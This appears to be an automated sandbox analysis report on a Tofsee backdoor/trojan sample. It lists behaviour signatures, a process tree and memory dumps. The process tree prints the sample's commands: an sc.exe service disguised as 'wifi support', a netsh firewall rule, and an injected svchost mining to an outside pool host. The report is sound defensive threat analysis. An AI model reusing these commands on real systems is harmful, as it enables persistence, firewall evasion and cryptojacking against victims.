Overview

overview

10

Static

static

3e84979fd3...f6.exe

windows7_x64

10

3e84979fd3...f6.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    08/11/2020, 17:44

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General

  • Target
    3e84979fd3da15f14658ed577a2dab59b59d6a3e90244b4bfedf61cbca7b66f6.exe
  • Size 12.1MB
  • Sample201108-mkg3wktfvs
  • SHA256 3e84979fd3da15f14658ed577a2dab59b59d6a3e90244b4bfedf61cbca7b66f6
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3e84979fd3da15f14658ed577a2dab59b59d6a3e90244b4bfedf61cbca7b66f6.exe
    "C:\Users\Admin\AppData\Local\Temp\3e84979fd3da15f14658ed577a2dab59b59d6a3e90244b4bfedf61cbca7b66f6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1140
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vbkszrwl\
      2⤵
        PID:2284
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sjrpzubp.exe" C:\Windows\SysWOW64\vbkszrwl\
        2⤵
          PID:1580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vbkszrwl binPath= "C:\Windows\SysWOW64\vbkszrwl\sjrpzubp.exe /d\"C:\Users\Admin\AppData\Local\Temp\3e84979fd3da15f14658ed577a2dab59b59d6a3e90244b4bfedf61cbca7b66f6.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:684
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description vbkszrwl "wifi internet conection"
            2⤵
              PID:2180
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start vbkszrwl
              2⤵
                PID:640
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1860
              • C:\Windows\SysWOW64\vbkszrwl\sjrpzubp.exe
                C:\Windows\SysWOW64\vbkszrwl\sjrpzubp.exe /d"C:\Users\Admin\AppData\Local\Temp\3e84979fd3da15f14658ed577a2dab59b59d6a3e90244b4bfedf61cbca7b66f6.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3776
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2504
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2484

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/1140-0-0x0000000000649000-0x000000000064A000-memory.dmp
                    Download

                    memory/1140-1-0x00000000024A0000-0x00000000024A1000-memory.dmp
                    Download

                    memory/2484-21-0x0000000000400000-0x00000000004F1000-memory.dmp
                    Download

                    memory/2504-16-0x0000000003140000-0x0000000003146000-memory.dmp
                    Download

                    memory/2504-15-0x0000000005040000-0x000000000524F000-memory.dmp
                    Download

                    memory/2504-12-0x0000000000FF0000-0x0000000001005000-memory.dmp
                    Download

                    memory/2504-17-0x0000000003150000-0x0000000003160000-memory.dmp
                    Download

                    memory/2504-18-0x0000000003E80000-0x0000000003E85000-memory.dmp
                    Download

                    memory/2504-19-0x0000000009B10000-0x0000000009F1B000-memory.dmp
                    Download

                    memory/2504-20-0x0000000003E90000-0x0000000003E97000-memory.dmp
                    Download

                    memory/3776-11-0x0000000001060000-0x0000000001061000-memory.dmp
                    Download

                    memory/3776-10-0x0000000000844000-0x0000000000845000-memory.dmp
                    Download